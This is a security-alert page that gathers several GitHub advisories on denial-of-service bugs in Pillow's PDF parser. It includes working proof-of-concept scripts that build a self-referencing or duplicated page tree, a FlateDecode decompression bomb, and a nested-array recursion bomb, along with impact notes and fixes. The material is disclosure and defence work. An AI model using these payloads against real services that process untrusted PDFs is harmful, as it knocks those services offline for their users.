We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. """ import io import signal import time import traceback

from PIL import Image

WATCHDOGS = 5

def makepdf(pagesroot): """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.""" objects = [ b"<</Type /Catalog /Pages 2 0 R>>", pagesroot, b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", ] pdf = bytearray(b"%PDF-1.4\n") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body) xrefoffset = len(pdf) pdf += b"xref\n0 4\n0000000000 65535 f \n" pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets) pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset return bytes(pdf)

class StillRunning(BaseException): pass

def onalarm(signum, frame): raise StillRunning

def appendimage(name, pdf): """Append an image to pdf; return True if it finished before the watchdog.""" print(f"--- {name}: {len(pdf)}-byte PDF ---") print(pdf.decode("latin-1"), end="") signal.alarm(WATCHDOGS) start = time.monotonic() try: Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) except StillRunning as e: print(f"[{name}] still running after {WATCHDOGS}s, interrupted in:") for frame in traceback.extracttb(e.traceback): if "/PIL/" in frame.filename: print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f"[{name}] raised {type(e).name}: {e}") return True finally: signal.alarm(0) print(f"[{name}] append finished in {time.monotonic() - start:.3f}s") return True

signal.signal(signal.SIGALRM, onalarm)

Set up: the well-formed file is appended to instantly. control = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>") if not appendimage("control", control): print("control case did not finish; environment problem, no verdict") print("OK") raise SystemExit

Attack: the same file, except the /Pages root is its own /Parent. cyclic = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>") finished = appendimage("cyclic", cyclic)

Verify: a fixed parser finishes (or rejects the file) like the control. print("BUG" if not finished else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearizepagetree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details

Affected versions

- Package: Pillow - Ecosystem: pip / PyPI - Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling - Runtime-tested affected release: 12.3.0 - Runtime-tested affected development version: 13.0.0.dev0 - Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD - Likely affected range: >= 5.1.0 - Patched versions: none known

Evidence fact strings:

- Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

python Image.new("L", (1, 1), 0).save(existingpdffile, format="PDF", append=True)

2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

python isappending = im.encoderinfo.get("append", False) filenamestr = filename.decode() if isinstance(filename, bytes) else filename if isappending: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="r+b") else: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="w+b")

3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

python self.pagetreeroot = self.readindirect(self.pagesref) self.pages = self.linearizepagetree(self.pagetreeroot) self.origpages = self.pages[:]

4. linearizepagetree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

python def linearizepagetree( self, node: PdfDict | None = None ) -> list[IndirectReference]: pagenode = node if node is not None else self.pagetreeroot checkformatcondition( pagenode[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in pagenode[b"Kids"]: kidobject = self.readindirect(kid) if kidobject[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearizepagetree(node=kidobject)) return pages

5. During append, rewritepages() then iterates the expanded origpages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/origpages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

- OS/runtime: Linux, Python 3.13.11 - Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Latest release tested: Pillow 12.3.0 - The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as pocpillowpdfpagetreedag.py:

python #!/usr/bin/env python3 from future import annotations

import io import json import sys import time

from PIL import Image, PdfParser import PIL

def makepagetreepdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2")

objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for objectid in range(2, depth + 3): nextid = objectid + 1 kids = b" ".join(f"{nextid} 0 R".encode("ascii") for in range(fanout)) parent = b"" if objectid == 2 else f" /Parent {objectid - 1} 0 R".encode() objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>") objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

result = bytearray(b"%PDF-1.4\n") offsets = [0] for objectid, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f"{objectid} 0 obj\n".encode("ascii")) result.extend(value) result.extend(b"\nendobj\n")

xrefoffset = len(result) result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) result.extend(b"0000000000 65535 f \n") for offset in offsets[1:]: result.extend(f"{offset:010d} 00000 n \n".encode("ascii")) result.extend( f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n" f"startxref\n{xrefoffset}\n%%EOF\n".encode("ascii") ) return bytes(result)

def runcase(depth: int, fanout: int) -> dict[str, object]: payload = makepagetreepdf(depth, fanout) expectedrefs = fanout (depth + 1)

start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observedrefs = len(pdf.pages) distinctrefs = len(set(pdf.pages)) parseseconds = time.monotonic() - start

output = io.BytesIO(payload) start = time.monotonic() Image.new("L", (1, 1), 0).save(output, format="PDF", append=True) appendseconds = time.monotonic() - start

return { "fanout": fanout, "depth": depth, "inputbytes": len(payload), "expectedrefs": expectedrefs, "observedrefs": observedrefs, "distinctrefs": distinctrefs, "parseseconds": round(parseseconds, 6), "appendseconds": round(appendseconds, 6), "outputbytesafterappend": len(output.getvalue()), }

def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit("depth must be between 0 and 16")

linear = runcase(depth, fanout=1) shareddag = runcase(depth, fanout=2)

checks = { "linearcontrolstaysonepage": linear["observedrefs"] == 1, "candidateexpandstoexpectedduplicaterefs": shareddag["observedrefs"] == shareddag["expectedrefs"], "candidatehasonedistinctpageref": shareddag["distinctrefs"] == 1, "candidateinputiscompact": shareddag["inputbytes"] <= 2048, "appendpathprocessedbothinputs": linear["outputbytesafterappend"] > linear["inputbytes"] and shareddag["outputbytesafterappend"] > shareddag["inputbytes"], } result = { "pillowversion": PIL.version, "pillowfile": PIL.file, "depth": depth, "linearcontrol": linear, "shareddagcandidate": shareddag, "checks": checks, "overallpassed": all(checks.values()), } print(json.dumps(result, indent=2, sortkeys=True)) return 0 if result["overallpassed"] else 1

if name == "main": raise SystemExit(main())

Run:

bash python3 pocpillowpdfpagetreedag.py

Expected result:

text "overallpassed": true "linearcontrol": observedrefs == 1 "shareddagcandidate": inputbytes == 1410 "shareddagcandidate": observedrefs == 8192 "shareddagcandidate": distinctrefs == 1

Observed on current main / 13.0.0.dev0:

text 1410-byte input -> 8192 observed page refs -> 9.563007s append

Observed on Pillow 12.3.0:

text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.

Impact

This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.

The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().

Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().

This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.

Remediation

Reject duplicate and cyclic page-tree references before constructing self.pages and self.origpages.

One possible fix is to pass traversal state through linearizepagetree():

- Track active /Pages references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.

Suggested regression tests:

- A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True). - A normal nested linear page tree should continue to append successfully.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

python PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expectedlength = self.dictionary[b"DL"] except KeyError: expectedlength = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expectedlength)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an initial buffer hint, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls readpdfinfo() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path: python with PdfParser.PdfParser("evil.pdf") as pdf: streamobj, = pdf.getvalue(pdf.buf, streamoffset) data = streamobj.decode() # ← OOM here

PoC

python import zlib, tempfile, os, time from PIL import PdfParser

Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPANDMB = 100 raw = b'\x00' (EXPANDMB 1000000) compressed = zlib.compress(raw, level=9) # ~97 KB

buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf: obj, = pdf.getvalue(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12): PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |

Impact This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

python MAXDECOMPRESSBYTES = 200 1024 1024 # 200 MB cap

def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expectedlength)) if len(result) > MAXDECOMPRESSBYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result

1 / 3
Source: GitHub
First published (updated )
Severity
6.3
AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary PdfParser's getvalue() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

Details getvalue() in src/PIL/PdfParser.py

This is a classmethod that takes maxnesting: int = -1 and has a guard:

python if maxnesting == 0: return None, None

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes maxnesting=maxnesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since readpdfinfo() parses the /Root object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.getvalue() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in getvalue() .

Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed.

python from PIL.PdfParser import PdfParser

def buildpdf(root): out = bytearray(b"%PDF-1.4\n") offset = len(out) out += f"1 0 obj\n".encode() out += root out += b"\nendobj\n" out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" xrefoffset = len(out) out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" out += b"trailer\n" out += f"<< /Size 2 /Root 1 0 R >>\n".encode() out += b"startxref\n" out += f"{xrefoffset}\n".encode() out += b"%%EOF" return bytes(out)

bomb = b"[" 3000 + b"]" 3000 root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>" with open("nestingbomb.pdf", "wb") as f: f.write(buildpdf(root))

PdfParser("nestingbomb.pdf") # raises RecursionError

Expected: a clean PdfFormatError.

Actual: raises a raw RecursionError: maximum recursion depth exceeded.

Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through Image.open(). PdfParser is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203